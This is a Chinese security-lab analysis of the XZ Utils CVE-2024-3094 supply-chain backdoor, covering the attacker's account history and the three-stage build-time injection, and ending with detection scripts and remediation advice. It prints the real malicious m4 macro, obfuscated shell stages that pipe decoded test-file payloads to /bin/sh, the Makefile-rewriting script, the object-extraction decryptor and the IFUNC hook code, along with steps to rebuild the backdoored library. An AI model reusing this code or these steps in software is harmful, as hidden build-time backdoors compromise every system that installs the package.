XZ Utils(CVE-2024-3094)供应链投毒深度分析

admin 2024年4月22日03:40:21评论10 views字数 16126阅读53分45秒阅读模式

XZ Utils(CVE-2024-3094)供应链投毒深度分析

0x01 事件概述

近日,微软一名软件工程师Andres Freund公开披露,其观察到liblzma库存在一些奇怪的现象,包括在用ssh远程登录异常及内存错误。经过分析,其确认在liblzma上游组件xz-utils中存在后门代码,后门或可导致攻击者能够在ssh登录认证前,执行攻击者指定的任意代码,可对Linux服务器安全造成严重影响。

综合情况看,这是一起开源软件供应链投毒攻击事件。攻击者伪装成开发者,借更新之名,秘密的向xz-utils中加入后门代码,导致xz-utils中的liblzma易受攻击。

OpenSSH用于SSH登录,广泛部署于基于Linux发行的操作系统中。其默认不依赖liblzma,但是部分Linux发行版会对OpenSSH进行二次开发而导致其默认加载LibSystemd,而LibSystemd默认加载liblzma。就这样,OpenSSH间接的因xz-utils的投毒而变得易受攻击,在认证前可执行攻击者发送的恶意代码。 天融信对该漏洞及相关事件的详细分析情况如下。

0x02 影响

liblzma/xz官方库遭到供应链攻击,并被恶意篡改以植入后门。xz主要功能是提供数据压缩和解压缩功能,集成了liblzma等组件。部分linux操作系统ssh的底层实现中间接引用了liblzma,常见的如Red Hat、Debian、Kali Linux、Arch Linux、SUSE、Alpine Linux。

xz-utils 分为 liblzma 和 xz 两部分。xz 是一个单文件压缩软件,采用了压缩率高的 LZMA 算法,在 Linux 中被广泛使用。liblzma 是 LZMA 算法的实现,被应用于 systemd 等多个 Linux 系统和应用软件。

OpenSSH 是一个用于安全远程访问的开源软件套件,它提供了加密的通信会话,以及在网络上安全地传输文件的工具。OpenSSH 实现 SSH 协议进行远程登录的连接工具。恶意代码可能允许攻击者通过后门版本的SSH非授权获取系统的访问权限。

01

影响版本

xz == 5.6.0
xz == 5.6.1
liblzma== 5.6.0
liblzma== 5.6.1

02

影响情况

当前的情况显示,该漏洞在”投毒”初期便被发现并披露,影响部分系统及服务,尚未大面积扩散。运维及管理人员仍需重视该事件,尽快检查及处置。

0x03 投毒方式

01

时间线梳理

xz-utils 有两名维护者:Lasse Collin (昵称Larhzu)和 JiaT75(昵称Jia Tan),其中 Lasse Collin 自从 2009 年以来一直维护着 XZ-Utils 库,JiaT75则是本次事件的聚焦点之一,其在2021年注册后的11月16日向libarchive(与xz无关)进行了第一次pr,添加了一个未打印的详情错误,这个过程中,将原本的safe_fprintf更改为了unsafe fprintf。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

从Mail Archive(xz项目的邮件沟通记录)来看,其最早于2021年10月29日尝试向xz提交代码。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2022年5月19日开始,ID“Jigar Kumar”和“Dennis Ens”持续对Lasse Collin进行施压,希望选取新的项目开发者来加快更新速度。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

XZ Utils(CVE-2024-3094)供应链投毒深度分析

在之后的时间里,Jia Tan逐渐获得了项目所有者Lasse Collin的信任,拥有自行提交代码的权力,GitHub上的项目最早提交记录可以追溯到2022年2月7日,此时的提交应该还是原作者参与审核的阶段。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2022年的12月30日开始,JiaT75有了独自提交代码的能力。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2023年6月23日,GitHub用户“hansjans162”向xz提交了ifunc 解析器替换掉 crc32 模块功能,猜测此ID可能为攻击者另一帐号,并且此ID和在其后的催促debian更新的邮件发送者相同。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2024年的2月15日的提交中,JiaT75将包含恶意编译代码的文件“build-to-host.m4”添加到.gitignore 文件中,此时该文件将不会被上传到git

XZ Utils(CVE-2024-3094)供应链投毒深度分析

直到2024年2月23日时,JiaT75开始向xz投递了带有恶意载荷文件bad-3-corrupt_lzma2.xz和good-large_compressed.lzma,其自称,文件中包含了一些测试用的“随机数据”,和一些无法被解压的“损坏数据”。为了更好地隐蔽恶意载荷,其中大多数测试数据都是正常无害的。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2024年2月24日时,JiaT75发布了5.6.0版本,在这个版本中,其添加了恶意构建文件“build-tohost.m4”,但是该文件并不存在于GitHub源代码仓库中,而是存在于其releases版本中(https://web.archive.org/web/20240226100419/https://github.com/tukaani-project/xz/releases/download/v5.6.0/xz-5.6.0.tar.gz),其后该版本tarball(打包文件)随即被Debian添加到不稳定版。在编译脚本“build-tohost.m4”中,特定条件下会从bad-3-corrupt_lzma2.xz和good-large_compressed.lzma这两个文件中读取内容对.o文件进行修改,致使编译结果和公开的源代码不一致完成供应链攻击。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2024年2月26日时,JiaT75修改了CMakeLists.txt文件,在其中添加了一个毫不起眼的“.”来绕过了Linux Landlock 检查。因为其编译过程会出错导致得到的结果和预想的不一致。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2024年3月9日时,JiaT75发布了5.6.1版本,改进了原来的恶意载荷文件,这次则增加了检查脚本判断是否在Linux上运行。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

2024年3月20日,jia tan还在尝试向Linux内核提交代码更新功能(暂未发现直接的恶意代码),并且该代码已进入Linux-next,事发后被叫停。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

上游新版本发布后,JiaT75则开始了积极策划使其再次进入Linux发行版,如下图的Ubuntu。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

如下图的debian,ID“hansjans162”和前面的ifunc提交相同。

XZ Utils(CVE-2024-3094)供应链投毒深度分析

02

投毒者信息

此次提交恶意文件的用户从提交日志来看有如下其他用户名。
$ git shortlog --summary --numbered --email | grep [email protected]273 Jia Tan <[email protected]>2 jiat75 <[email protected]>1 Jia Cheong Tan <[email protected]>
如果GitHub账户jiat75是这次的事件次精心策划者的话,从其使用的用户名Jia Tan和GitHub 提交时间来看(东八时区),可能有意伪造相关身份来证明其是位于东亚。不过又有新的观点认为其是欧州人/以色列人冒充的中国人,支撑点有如下三个。

1、提交记录的时区信息:观察到此人有在东二时区(冬季)和东三时区(夏季)的提交记录,这与欧洲/以色列地区实行的夏令时制度相吻合,而不是一直在东八时区(中国时区)。

2、时区之间的快速切换:在2022年10月6日,此人在不到10小时内,先后在东八时区和东三时区提交代码,这几乎排除了他在这短时间内实际从中国移动到欧洲的可能性。
3、假日提交记录的差异:此人在中国的重要农历假日(如中秋节、清明节、春节)有提交记录,但在欧洲的主要节日(如圣诞节和新年)却没有提交记录。

目前从整理出的全部信息来看,还无法确定JiaT75究竟是个人还是组织。

0x04 源代码分析

此次攻击的大致流程如下所示:

1、通过源代码m4目录下的build-to-host.m4文件及tests目录下的bad-3-corrupt_lzma2.xz和good-large_compressed.lzma文件,将包含后门代码的liblzma_la-crc64-fast.o目标文件提取出来,然后用其链接生成最终的恶意liblzma.so文件。

2、利用glibc的IFUNC特性,获得在sshd进程加载liblzma.so库时执行后门代码的能力。通过后门代码Hook sshd进程中RSA_public_decrypt()函数的GOT表条目。

3、攻击者通过SSH公钥登录方式,使用特定的RSA私钥连接目标机器进行身份验证。sshd进程会通过RSA_public_decrypt()函数对攻击者发送的RSA私钥进行解密,该RSA私钥中包含攻击者想要执行的payload,由此可知,本次后门可造成远程代码执行。

01

编译恶意的liblzma.so文件

由于阶段三中执行的good-large_compressed.sh脚本会检查源代码目录下是否存在/debian/rules文件,可以选择debian的xz-utils源码进行编译,或者在上游xz-utils源码创建这样一个文件后,就能成功编译包含后门代码的liblzma.so库。

debian的xz-utils v5.6.0-0.2的链接如下所示。
https://salsa.debian.org/debian/xz-utils/-/tree/debian/5.6.0-0.2?ref_type=tags

阶段一

在构建xz-utils的过程中,通过执行源代码根目录下的configure脚本生成Makefile文件时,会执行build-to-host.m4文件中的宏。此文件中的宏代码用于对./tests/files/bad-3-corrupt_lzma2.xz文件进行修复,解压,然后获得用于阶段二执行的脚本代码(命名为bad-3-corrupt_lzma2.sh)并执行。build-to-host.m4文件中的关键代码如下所示。

// ./m4/build-to-host.m4// 找到包含“####Hello####”内容的文件的名称gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`❯ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" . 2>/dev/null./tests/files/bad-3-corrupt_lzma2.xz
// 获取xz程序的名字gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*.//g"xz
// 修复bad-3-corrupt_lzma2.xz文件,并对其解压,获得bad-3-corrupt_lzma2.sh脚本文件,然后执行它gl_path_map='tr "t -_" " t_-"'gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'sed "rn" ./tests/files/bad-3-corrupt_lzma2.xz | eval 'tr "t -_" " t_-"' | xz -d 2>/dev/null
对bad-3-corrupt_lzma2.xz文件的修复是通过tr "t -_" " t_-"命令实现的,其过程如下所示:
0x09(t) --> 0x20(空格)0x20(空格) --> 0x09(t)0x2d(-) --> 0x5f(_)0x5f(_) --> 0x2d(-)
通过对build-to-host.m4文件中的宏代码的分析,可以手动修复bad-3-corrupt_lzma2.xz文件,并获得阶段二执行的bad-3-corrupt_lzma2.sh脚本。

阶段二

阶段二执行的bad-3-corrupt_lzma2.sh脚本的内容如下所示。

# bad-3-corrupt_lzma2.sh, xz-5.6.0####Hello#####†ùZ÷.hj¼eval `grep ^srcdir= config.status`if test -f ../../config.status;theneval `grep ^srcdir= ../../config.status`srcdir="../../$srcdir"fiexport i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "5-51204-37752-115132-203-4116-131" "-377")|xz -F raw --lzma1 -dc|/bin/sh####World####
bad-3-corrupt_lzma2.sh脚本的内容进行了一定程度的混淆,对其进行分解,可获得以下步骤。
# 1. 解压./tests/files/good-large_compressed.lzma文件xz -dc $srcdir/tests/files/good-large_compressed.lzma# 2. 对good-large_compressed.lzma文件解压后的文件进行处理eval $i# 3. 只获取第2步结果的末尾31265字节数据tail -c +31265# 4. 对第3步结果中的一些数据进行替换tr "5-51204-37752-115132-203-4116-131" "-377"# 5. 解压第4步获得的正确的压缩文件xz -F raw --lzma1 -dc# 6. 从第5步的输出中获得阶段三的脚本并执行。/bin/sh

第2步对good-large_compressed.lzma文件解压后的文件进行处理,首先通过“head -c +1024 >/dev/null”命令将该文件的前1024字节数据丢弃,然后通过“head -c +2048”命令将该文件前1024字节之后的2048字节数据输出到标准输出,以此模式,不断循环,直到将所有无用数据剔除,只留下有效的数据,以待第3步继续处理。所以,good-large_compressed.lzma文件解压后的文件中的数据是无用数据与有用数据交叉分布的。

由上可知,bad-3-corrupt_lzma2.sh脚本用于解压good-large_compressed.lzma文件,然后对解压后的文件进行处理,获得另一个压缩包。对其解压后,获得阶段三执行的脚本(命名为good-large_compressed.sh)。

可以对bad-3-corrupt_lzma2.sh文件做一些修改,以独立获得good-large_compressed.sh。

# 将good-large_compressed.lzma于此脚本放于同一目录xz -dc good-large_compressed.lzma# 将标准输出重定向到good-large_compressed.sh文件中xz -F raw --lzma1 -dc 1>good-large_compressed.sh

阶段三

阶段三执行的good-large_compressed.sh脚本会执行两次,第一次用来修改/src/liblzma文件夹下的Makefile,在源代码根目录下,使用阶段二的bad-3-corrupt_lzma2.sh脚本对good-large_compressed.lzma文件进行处理并执行。第一次执行good-large_compressed.sh脚本时,会对/src/liblzma文件夹下的Makefile进行修改,其中包含第二次执行good-large_compressed.sh脚本的命令。第二次用来从good-large_compressed.lzma文件中提取出恶意的liblzma_la-crc64-fast.o目标文件,并对/src/liblzma/check/文件夹下的crc64_fast.c和crc32_fast.c文件的内容做一些修改,然后用恶意的liblzma_la-crc64-fast.o文件替换原始的liblzma_la-crc64_fast.o文件,继续完成接下来的编译链接过程,最终生成恶意的liblzma.so文件。

第一次执行的good-large_compressed.sh脚本中的主要代码如下所示。

P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"C="pic_flag=" $P""O="^pic_flag=" -fPIC -DPIC"$"R="is_arch_extension_supported"x="__get_cpuid("p="good-large_compressed.lzma"U="bad-3-corrupt_lzma2.xz"eval $zrKcVq# 第一次执行此脚本时,是在源代码根目录下执行的。if test -f config.status; then    ......    eval `grep ^build='x86_64 config.status`    eval `grep ^enable_shared='yes' config.status`    eval `grep ^enable_static=' config.status`    eval `grep ^gl_path_map=' config.status`    eval $zrKccj    # 查找config.status文件中是否有D["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"    if ! grep -qs '["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"' config.status > /dev/null 2>&1;then        exit 0    fi    # 查找config.h文件中是否有#define HAVE_FUNC_ATTRIBUTE_IFUNC 1    if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then        exit 0    fi    # 判断enable_shared选项的值是否为yes    if test "x$enable_shared" != "xyes";then        exit 0    fi    # 判断build选项的值中是否包含"x86_64"和"linux-gnu"    if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then        exit 0    fi    ......    # 判断是否存在./debian/rules文件以及$RPM_ARCH环境变量设置为x86_64    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then        ......        # 修改/src/liblzma/Makefile文件的内容        eval $zrKcTy        b="am__test = $U"        sed -i "/$j/i$b" src/liblzma/Makefile || true        d=`echo $gl_path_map | sed 's/\/\\\\/g'`        b="am__strip_prefix = $d"        sed -i "/$w/i$b" src/liblzma/Makefile || true        b="am__dist_setup = $(am__strip_prefix) | xz -d 2> /dev/null | $(SHELL)"        sed -i "/$E/i$b" src/liblzma/Makefile || true        b="$(top_srcdir)/tests/files/$(am__test)"        s="am__test_dir=$b"        sed -i "/$Q/i$s" src/liblzma/Makefile || true        h="-Wl,--sort-section=name,-X"        if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then            h=$h",-z,now"        fi        j="liblzma_la_LDFLAGS += $h"        sed -i "/$L/i$j" src/liblzma/Makefile || true        sed -i "s/$O/$C/g" libtool || true        k="AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))"        sed -i "s/$u/$k/" src/liblzma/Makefile || true        l="LTDEPS='$(lib_LTDEPS)'; \\n        export top_srcdir='$(top_srcdir)'; \\n        export CC='$(CC)'; \\n        export DEFS='$(DEFS)'; \\n        export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \\n        export INCLUDES='$(INCLUDES)'; \\n        export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \\n        export CPPFLAGS='$(CPPFLAGS)'; \\n        export AM_CFLAGS='$(AM_CFLAGS)'; \\n        export CFLAGS='$(CFLAGS)'; \\n        export AM_V_CCLD='$(am__v_CCLD_$(V))'; \\n        export liblzma_la_LINK='$(liblzma_la_LINK)'; \\n        export libdir='$(libdir)'; \\n        export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \\n        export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \\n        sed rpath $(am__test_dir) | $(am__dist_setup) > /dev/null 2>&1";        sed -i "/$m/i$l" src/liblzma/Makefile || true        eval $zrKcHD    fi......

此步骤会对当前环境进行一些检测,是否支持glibc的IFUNC特性,以及构建的可执行文件是否是x86_64架构的。除此之外,还会检测源代码项目中是否存在/debian/rules文件或$RPM_ARCH环境变量是否设置为x86_64,只有通过检测,才会修改/src/liblzma/Makefile文件的内容。所以,包含后门的xz-utils项目只能在特定环境下,才能成功构建。

向/src/liblzma/Makefile文件中写入内容的关键部分如下所示。
am__test = bad-3-corrupt_lzma2.xzam__test_dir=$(top_srcdir)/tests/files/$(am__test)am__strip_prefix = tr "t -_" " t_-"am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
# 实际执行的命令sed rpath ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null
这部分内容用于在通过make命令构建整个项目时,第二次执行good-large_compressed.sh脚本。

第二次执行的good-large_compressed.sh脚本中的主要代码如下所示。

......# 第一次执行此脚本时,是在源代码根目录下执行的。if test -f config.status; then    ......# 第二次执行此脚本时,是从/src/liblzma目录下的Makefile中执行的,所以当前目录为/src/liblzma。elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then    ......    # 从good-large_compressed.lzma文件中提取liblzma_la-crc64-fast.o文件,存放在/src/liblzma目录下。    xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/(.)/1n/g" | LC_ALL=C awk 'BEGIN{FS="n";RS="n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true    ......    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true    V='#endifn#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))nextern int _get_cpuid(int, void*, void*, void*, void*, void*);nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }n#elsen#define _is_arch_extension_supported is_arch_extension_supported'    eval $yosA    # 将crc64_fast.c文件crc64_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数    if sed "/return is_arch_extension_supported()/ creturn _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c |         # 在crc64_fast.c文件include "crc_x86_clmul.h"语句下添加一段代码        sed "/include "crc_x86_clmul.h"/a \$V" |         sed "1i # 0 "$top_srcdir/src/liblzma/check/crc64_fast.c"" 2> /dev/null |         #         $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2> /dev/null; then        ......fi
此步骤会从good-large_compressed.lzma文件中提取出预构建的恶意liblzma_la-crc64-fast.o目标文件,并对/src/liblzma/check/目录下crc64_fast.c和crc32_fast.c中的内容进行修改,修改的内容如下所示。
// crc64_fast.c的修改内容,crc32_fast.c与此相似。#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))extern int _get_cpuid(int, void*, void*, void*, void*, void*);static inline bool _is_arch_extension_supported(void) {     int success = 1;     uint32_t r[4];     success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);     const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);     return success && (r[2] & ecx_mask) == ecx_mask; }#else#define _is_arch_extension_supported is_arch_extension_supported#endif
static crc64_func_type crc64_resolve(void) { return _is_arch_extension_supported() ? &crc64_arch_optimized : &crc64_generic;}
此修改将crc64_resolve()和crc32_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数,并在_is_arch_extension_supported()函数中调用了恶意liblzma_la-crc64-fast.o目标文件中定义的_get_cpuid()函数(一个下划线),而原有的is_arch_extension_supported()函数会调用由gcc实现的__get_cpuid()函数(两个下划线)。_get_cpuid()函数就是对后门进行初始化的入口函数,在此过程中,会修改sshd进程的RSA_public_decrypt()函数的GOT表条目。

02

后门代码工作原理

上游的OpenSSH不依赖liblzma库,但是debian和其他几个Linux发行版对上游的OpenSSH进行了修改,引入了libsystemd库,使其支持systemd通知。libsystemd库依赖于liblzma库,所以,sshd进程也间接依赖于liblzma库。可通过如下命令,查看当前系统中的sshd进程是否依赖于liblzma库。
❯ ldd /usr/sbin/sshd | grep "liblzma"  liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5218fc000)❯ ll /lib/x86_64-linux-gnu/ | grep "liblzma"-rw-r--r--  1 root root 275K 48  2022 liblzma.alrwxrwxrwx  1 root root   47 42 16:10 liblzma.so -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0lrwxrwxrwx  1 root root   47 43 15:24 liblzma.so.5 -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0-rw-r--r--  1 root root 159K 48  2022 liblzma.so.5.2.4
当存在后门的liblzma.so库编译成功后,可以通过如下命令测试后门代码是否成功加载。
❯ time env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -hoption requires an argument -- hOpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f  31 Mar 2020usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file]            [-E log_file] [-f config_file] [-g login_grace_time]            [-h host_key_file] [-o option] [-p port] [-u len]env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0    0.19s user 0.02s system 90% cpu 0.227 total
❯ time env -i LC_LANG=C TERM=foo LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -hoption requires an argument -- hOpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f 31 Mar 2020usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file] [-E log_file] [-f config_file] [-g login_grace_time] [-h host_key_file] [-o option] [-p port] [-u len]env -i LC_LANG=C TERM=foo /usr/sbin/sshd -h 0.00s user 0.00s system 91% cpu 0.004 total

第一条命令成功加载了后门代码,第二条命令未成功加载,加载了后门代码的sshd进程的启动速度较慢。后门代码还会通过检测以下条件,判断是否执行后门代码。

1、未设置TERM、LD_DEBUG、LD_PROFILE环境变量,设置了LANG环境变量。

2、argv[0]为/usr/sbin/sshd。

03

GNU IFUNC

GNU IFUNC(GNU Indirect Function)是GNU工具链的一项功能,它允许开发人员为给定函数创建多个实现,并在运行时使用同样由开发人员编写的解析器函数进行选择。

IFUNC特性虽然为程序的性能优化和平台兼容性提供了更多的可能性,但也存在被恶意利用的风险,其主要的安全隐患包括:劫持函数、绕过安全措施、隐藏攻击载荷。

xz-utils源码中的crc64_fast.c和crc32_fast.c文件中的crc64_resolve()和crc32_resolve()函数为liblzma实现的IFUNC解析器。当加载liblzma.so共享库时,这些IFUNC解析器函数会很早就得到执行。

0x05 处置情况

01

排查方式一

用户可以通过以下命令检查系统中安装的xz-utils软件包的版本:
xz --version

XZ Utils(CVE-2024-3094)供应链投毒深度分析

02

排查方式二

通过利用如下脚本进行自查

#! /bin/bash
set -eu
# find path to liblzma used by sshdpath="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
# does it even exist?if [ "$path" == "" ]thenecho probably not vulnerableexitfi
# check for function signatureif hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410thenecho probably vulnerableelseecho probably not vulnerablefi

03

修复建议

若确认受影响,请将xz降级至 5.4.6 版本。

04

产品支持

目前天融信脆弱性扫描与管理系统已紧急更新XZ-Utils 5.6.0/5.6.1版本后门事件预警(CVE-2024-3094)漏洞检查插件,帮助客户进行漏洞排查。

天融信脆弱性扫描与管理系统针对此漏洞的规则库更新如下图:

XZ Utils(CVE-2024-3094)供应链投毒深度分析

天融信脆弱性扫描与管理系统针对该漏洞检查结果如下图所示 :

XZ Utils(CVE-2024-3094)供应链投毒深度分析

按照如下步骤对插件库进行升级和漏洞扫描:

1、在线自动升级,在“超级管理员”账号【系统管理】→【插件库升级】→【立即更新】→立即升级。

2、创建漏洞扫描任务,扫描完成后查看报告,如存在该漏洞,可按照报告中的修复建议进行“补缺”。

原文始发于微信公众号(天融信阿尔法实验室):XZ Utils(CVE-2024-3094)供应链投毒深度分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日03:40:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XZ Utils(CVE-2024-3094)供应链投毒深度分析http://cn-sec.com/archives/2628863.html

发表评论

匿名网友 填写信息